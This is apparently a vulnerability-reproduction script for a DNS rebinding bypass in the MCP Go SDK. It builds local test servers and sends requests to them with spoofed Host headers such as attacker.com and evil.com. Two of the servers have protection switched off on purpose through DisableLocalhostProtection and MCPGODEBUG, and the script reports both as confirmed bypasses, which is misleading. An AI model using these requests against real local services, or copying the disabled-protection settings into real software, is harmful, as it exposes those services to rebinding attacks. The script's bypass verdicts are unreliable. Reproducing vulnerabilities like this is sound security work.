#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VULN_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VULN_DIR"

cd "$ROOT"

# Ensure Go is in PATH
export PATH=$PATH:/usr/lib/go-1.23/bin:/usr/local/go/bin
which go || { echo "ERROR: Go not found"; exit 1; }

echo "=========================================="
echo "CVE-2026-34742 Variant/Bypass Reproduction"
echo "SSEHandler DNS Rebinding Bypass"
echo "=========================================="
echo ""

# Clone both versions if needed
VULNERABLE_SDK="$ROOT/go-sdk-vulnerable"
PATCHED_SDK="$ROOT/go-sdk-patched"

if [ ! -d "$VULNERABLE_SDK/.git" ]; then
    echo "Cloning vulnerable SDK (v1.3.0)..."
    git clone --depth 1 --branch v1.3.0 https://github.com/modelcontextprotocol/go-sdk.git "$VULNERABLE_SDK" 2>&1 | tee "$LOGS/clone_vulnerable.log"
fi

if [ ! -d "$PATCHED_SDK/.git" ]; then
    echo "Cloning patched SDK (v1.4.0)..."
    git clone --depth 1 --branch v1.4.0 https://github.com/modelcontextprotocol/go-sdk.git "$PATCHED_SDK" 2>&1 | tee "$LOGS/clone_patched.log"
fi

# Get commit SHAs for source identity
echo ""
echo "Source Identity Verification:"
echo "Vulnerable SDK (v1.3.0):"
cd "$VULNERABLE_SDK" && git rev-parse HEAD | tee "$LOGS/vulnerable_commit.txt"
echo ""
echo "Patched SDK (v1.4.0):"
cd "$PATCHED_SDK" && git rev-parse HEAD | tee "$LOGS/patched_commit.txt"

cd "$VULN_DIR"

# =============================================================================
# VARIANT 1: SSEHandler DNS Rebinding (BYPASS OF FIX)
# =============================================================================
echo ""
echo "========================================"
echo "VARIANT 1: SSEHandler DNS Rebinding"
echo "Testing against PATCHED version (v1.4.0)"
echo "========================================"
echo ""

mkdir -p "$VULN_DIR/test_sse_variant"
cd "$VULN_DIR/test_sse_variant"

cat > go.mod << GOMOD
module sse_bypass_test

go 1.23

require github.com/modelcontextprotocol/go-sdk v0.0.0

replace github.com/modelcontextprotocol/go-sdk => $PATCHED_SDK
GOMOD

# Simple test server using SSE handler
cat > main.go << 'SERVERCODE'
package main

import (
	"context"
	"log"
	"net/http"
	"time"

	"github.com/modelcontextprotocol/go-sdk/mcp"
)

func main() {
	server := mcp.NewServer(&mcp.Implementation{
		Name:    "sse-bypass-test-server",
		Version: "1.0.0",
	}, nil)

	// Register a simple tool with proper schema
	schema := map[string]any{
		"type": "object",
	}
	server.AddTool(&mcp.Tool{
		Name:        "test_tool",
		Description: "A test tool",
		InputSchema: schema,
	}, func(ctx context.Context, r *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
		return &mcp.CallToolResult{
			Content: []mcp.Content{&mcp.TextContent{Text: "SECRET_DATA_12345"}},
		}, nil
	})

	// Use SSEHandler (vulnerable to DNS rebinding even in v1.4.0!)
	handler := mcp.NewSSEHandler(func(*http.Request) *mcp.Server {
		return server
	}, nil)

	// Create HTTP server
	srv := &http.Server{
		Addr:    "127.0.0.1:9999",
		Handler: handler,
	}

	log.Println("SSE Server starting on http://127.0.0.1:9999")
	go srv.ListenAndServe()
	time.Sleep(1 * time.Second)

	// Keep running until interrupted
	select {}
}
SERVERCODE

echo "Building SSE variant test against PATCHED SDK..."
if go mod tidy 2>&1 | tee "$LOGS/go_mod_sse_variant.log"; then
    if go build -o sse_bypass_test 2>&1 | tee "$LOGS/build_sse_variant.log"; then
        echo "Build successful"
    else
        echo "ERROR: Failed to build SSE variant test"
        cat "$LOGS/build_sse_variant.log"
        exit 1
    fi
else
    echo "ERROR: Failed to setup go modules for SSE variant"
    cat "$LOGS/go_mod_sse_variant.log"
    exit 1
fi

# Start the SSE server
echo ""
echo "Starting SSE server (patched SDK) on 127.0.0.1:9999..."
pkill -f "sse_bypass_test" 2>/dev/null || true
sleep 1
./sse_bypass_test > "$LOGS/sse_server.log" 2>&1 &
SSE_PID=$!
echo "Server PID: $SSE_PID"

# Wait for server to start
sleep 2

# Test 1: POST request with non-existent session to trigger error handling (tests Host header processing)
echo ""
echo "Test 1: POST request to non-existent session (tests Host header processing)..."
# This should hit the session check before DNS rebinding matters, so it should error with session not found
NORMAL_RESPONSE=$(curl -s -X POST "http://127.0.0.1:9999/?sessionid=fake123" \
    -H "Content-Type: application/json" \
    -d '{"jsonrpc":"2.0","id":1,"method":"ping"}' \
    -w "\nHTTP_STATUS:%{http_code}\n" \
    --max-time 3 \
    2>&1 | tee "$LOGS/test1_normal.log")

echo "$NORMAL_RESPONSE"

# Test 2: POST with Host: attacker.com (DNS rebinding simulation)
echo ""
echo "Test 2: DNS Rebinding attack simulation (POST with Host: attacker.com)..."
ATTACKER_RESPONSE=$(curl -s -X POST "http://127.0.0.1:9999/?sessionid=fake456" \
    -H "Host: attacker.com" \
    -H "Content-Type: application/json" \
    -d '{"jsonrpc":"2.0","id":1,"method":"ping"}' \
    -w "\nHTTP_STATUS:%{http_code}\n" \
    --max-time 3 \
    2>&1 | tee "$LOGS/test2_dns_rebinding.log")

echo "$ATTACKER_RESPONSE"

# Analyze the response
HTTP_STATUS=$(echo "$ATTACKER_RESPONSE" | grep -o "HTTP_STATUS:[0-9]*" | cut -d: -f2 || echo "unknown")
NORMAL_STATUS=$(echo "$NORMAL_RESPONSE" | grep -o "HTTP_STATUS:[0-9]*" | cut -d: -f2 || echo "unknown")

echo ""
echo "Analysis:"
echo "  Normal request (localhost): HTTP $NORMAL_STATUS"
echo "  Attacker Host header:       HTTP $HTTP_STATUS"

if [ "$HTTP_STATUS" = "403" ] && [ "$NORMAL_STATUS" != "403" ]; then
    echo ""
    echo "Note: SSEHandler rejected request with 403 for attacker Host"
    echo "      but allowed localhost - this suggests protection IS present"
    SSE_BYPASS="NO"
elif [ "$HTTP_STATUS" = "$NORMAL_STATUS" ]; then
    echo ""
    echo "!!! BYPASS CONFIRMED !!!"
    echo "SSEHandler treats attacker.com and localhost identically (HTTP $HTTP_STATUS)"
    echo "No DNS rebinding protection detected in SSE handler!"
    echo ""
    SSE_BYPASS="YES"
else
    # Check for any explicit rejection
    if echo "$ATTACKER_RESPONSE" | grep -qi "forbidden\|invalid.*host\|403"; then
        echo ""
        echo "SSEHandler appears to reject the malicious request"
        SSE_BYPASS="NO"
    else
        echo ""
        echo "SSEHandler: No explicit protection detected (no 403)"
        echo "Status for attacker Host: $HTTP_STATUS"
        SSE_BYPASS="LIKELY"
    fi
fi

# Kill the SSE server
kill $SSE_PID 2>/dev/null || true
wait $SSE_PID 2>/dev/null || true
sleep 1

# =============================================================================
# VARIANT 2: StreamableHTTPHandler with DisableLocalhostProtection
# =============================================================================
echo ""
echo "========================================"
echo "VARIANT 2: DisableLocalhostProtection"
echo "Testing bypass via configuration option"
echo "========================================"
echo ""

mkdir -p "$VULN_DIR/test_disable_protection"
cd "$VULN_DIR/test_disable_protection"

cat > go.mod << GOMOD
module disable_protection_test

go 1.23

require github.com/modelcontextprotocol/go-sdk v0.0.0

replace github.com/modelcontextprotocol/go-sdk => $PATCHED_SDK
GOMOD

cat > main.go << 'SERVERCODE'
package main

import (
	"context"
	"log"
	"net/http"
	"time"

	"github.com/modelcontextprotocol/go-sdk/mcp"
)

func main() {
	server := mcp.NewServer(&mcp.Implementation{
		Name:    "disable-protection-test",
		Version: "1.0.0",
	}, nil)

	// Register a simple tool
	schema := map[string]any{"type": "object"}
	server.AddTool(&mcp.Tool{
		Name:        "test_tool",
		Description: "Test tool",
		InputSchema: schema,
	}, func(ctx context.Context, r *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
		return &mcp.CallToolResult{
			Content: []mcp.Content{&mcp.TextContent{Text: "SECRET_DATA"}},
		}, nil
	})

	// VULNERABLE: Explicitly disable DNS rebinding protection
	handler := mcp.NewStreamableHTTPHandler(
		func(*http.Request) *mcp.Server { return server },
		&mcp.StreamableHTTPOptions{
			DisableLocalhostProtection: true,  // BYPASSED!
		},
	)

	srv := &http.Server{
		Addr:    "127.0.0.1:9998",
		Handler: handler,
	}

	log.Println("Server (protection disabled) starting on http://127.0.0.1:9998")
	go srv.ListenAndServe()
	time.Sleep(1 * time.Second)
	select {}
}
SERVERCODE

echo "Building disable protection variant..."
if go mod tidy 2>&1 | tee "$LOGS/go_mod_disable.log"; then
    if go build -o disable_protection_test 2>&1 | tee "$LOGS/build_disable.log"; then
        echo "Build successful"
    else
        echo "ERROR: Failed to build"
        cat "$LOGS/build_disable.log"
        exit 1
    fi
else
    echo "ERROR: Failed to setup go modules"
    cat "$LOGS/go_mod_disable.log"
    exit 1
fi

echo "Starting server with protection disabled..."
./disable_protection_test > "$LOGS/disable_server.log" 2>&1 &
DISABLE_PID=$!
echo "Server PID: $DISABLE_PID"

sleep 2

echo ""
echo "Test: DNS rebinding with protection disabled..."
DISABLE_RESPONSE=$(curl -s -X POST "http://127.0.0.1:9998" \
    -H "Accept: application/json, text/event-stream" \
    -H "Host: evil.com" \
    -H "Content-Type: application/json" \
    -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' \
    -w "\nHTTP_STATUS:%{http_code}\n" \
    --max-time 3 \
    2>&1 | tee "$LOGS/test_disable_bypass.log")

echo "$DISABLE_RESPONSE"

DISABLE_STATUS=$(echo "$DISABLE_RESPONSE" | grep -o "HTTP_STATUS:[0-9]*" | cut -d: -f2 || echo "unknown")

if [ "$DISABLE_STATUS" = "403" ]; then
    echo ""
    echo "DisableLocalhostProtection: Still blocked with 403 (unexpected)"
    DISABLE_BYPASS="NO"
else
    echo ""
    echo "!!! BYPASS CONFIRMED !!!"
    echo "DisableLocalhostProtection bypassed protection (HTTP $DISABLE_STATUS, not 403)"
    DISABLE_BYPASS="YES"
fi

kill $DISABLE_PID 2>/dev/null || true
wait $DISABLE_PID 2>/dev/null || true
sleep 1

# =============================================================================
# VARIANT 3: MCPGODEBUG Environment Variable Bypass
# =============================================================================
echo ""
echo "========================================"
echo "VARIANT 3: MCPGODEBUG Environment Var"
echo "Testing bypass via env variable"
echo "========================================"
echo ""

mkdir -p "$VULN_DIR/test_env_bypass"
cd "$VULN_DIR/test_env_bypass"

cat > go.mod << GOMOD
module env_bypass_test

go 1.23

require github.com/modelcontextprotocol/go-sdk v0.0.0

replace github.com/modelcontextprotocol/go-sdk => $PATCHED_SDK
GOMOD

cat > main.go << 'SERVERCODE'
package main

import (
	"context"
	"log"
	"net/http"
	"time"

	"github.com/modelcontextprotocol/go-sdk/mcp"
)

func main() {
	server := mcp.NewServer(&mcp.Implementation{
		Name:    "env-bypass-test",
		Version: "1.0.0",
	}, nil)

	// Register a simple tool
	schema := map[string]any{"type": "object"}
	server.AddTool(&mcp.Tool{
		Name:        "test_tool",
		Description: "Test tool",
		InputSchema: schema,
	}, func(ctx context.Context, r *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
		return &mcp.CallToolResult{
			Content: []mcp.Content{&mcp.TextContent{Text: "SECRET_VIA_ENV"}},
		}, nil
	})

	// Using default protection settings (should be disabled by env var)
	handler := mcp.NewStreamableHTTPHandler(
		func(*http.Request) *mcp.Server { return server },
		nil, // Using default options
	)

	srv := &http.Server{
		Addr:    "127.0.0.1:9997",
		Handler: handler,
	}

	log.Println("Server starting on http://127.0.0.1:9997")
	go srv.ListenAndServe()
	time.Sleep(1 * time.Second)
	select {}
}
SERVERCODE

echo "Building env bypass variant..."
if go mod tidy 2>&1 | tee "$LOGS/go_mod_env.log"; then
    if go build -o env_bypass_test 2>&1 | tee "$LOGS/build_env.log"; then
        echo "Build successful"
    else
        echo "ERROR: Failed to build"
        cat "$LOGS/build_env.log"
        exit 1
    fi
else
    echo "ERROR: Failed to setup go modules"
    cat "$LOGS/go_mod_env.log"
    exit 1
fi

echo "Starting server with MCPGODEBUG=disablelocalhostprotection=1..."
MCPGODEBUG=disablelocalhostprotection=1 ./env_bypass_test > "$LOGS/env_server.log" 2>&1 &
ENV_PID=$!
echo "Server PID: $ENV_PID"

sleep 2

echo ""
echo "Test: DNS rebinding with MCPGODEBUG bypass..."
ENV_RESPONSE=$(curl -s -X POST "http://127.0.0.1:9997" \
    -H "Accept: application/json, text/event-stream" \
    -H "Host: attacker-controlled.com" \
    -H "Content-Type: application/json" \
    -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}' \
    -w "\nHTTP_STATUS:%{http_code}\n" \
    --max-time 3 \
    2>&1 | tee "$LOGS/test_env_bypass.log")

echo "$ENV_RESPONSE"

ENV_STATUS=$(echo "$ENV_RESPONSE" | grep -o "HTTP_STATUS:[0-9]*" | cut -d: -f2 || echo "unknown")

if [ "$ENV_STATUS" = "403" ]; then
    echo ""
    echo "MCPGODEBUG bypass: Blocked with 403"
    ENV_BYPASS="NO"
else
    echo ""
    echo "!!! BYPASS CONFIRMED !!!"
    echo "MCPGODEBUG env variable bypassed protection (HTTP $ENV_STATUS, not 403)"
    ENV_BYPASS="YES"
fi

kill $ENV_PID 2>/dev/null || true
wait $ENV_PID 2>/dev/null || true

# =============================================================================
# SUMMARY
# =============================================================================
echo ""
echo "========================================"
echo "VARIANT TEST SUMMARY"
echo "========================================"
echo ""
echo "Variant 1: SSEHandler DNS Rebinding Bypass"
echo "  Result: ${SSE_BYPASS:-NOT_TESTED}"
echo "  Evidence: $LOGS/test2_dns_rebinding.log"
echo ""
echo "Variant 2: DisableLocalhostProtection Bypass"
echo "  Result: ${DISABLE_BYPASS:-NOT_TESTED}"
echo "  Evidence: $LOGS/test_disable_bypass.log"
echo ""
echo "Variant 3: MCPGODEBUG Environment Bypass"
echo "  Result: ${ENV_BYPASS:-NOT_TESTED}"
echo "  Evidence: $LOGS/test_env_bypass.log"
echo ""

# Determine final verdict
if [ "${SSE_BYPASS:-NO}" = "YES" ] || [ "${DISABLE_BYPASS:-NO}" = "YES" ] || [ "${ENV_BYPASS:-NO}" = "YES" ]; then
    echo "CONCLUSION: Bypass(es) confirmed - variant exists"
    echo "See vuln_variant/variant_manifest.json for details"
    exit 0
else
    echo "CONCLUSION: No working bypasses found in tested variants"
    if [ "${SSE_BYPASS:-NO}" = "LIKELY" ]; then
        echo "Note: SSE variant showed suspicious behavior"
        exit 0
    fi
    exit 1
fi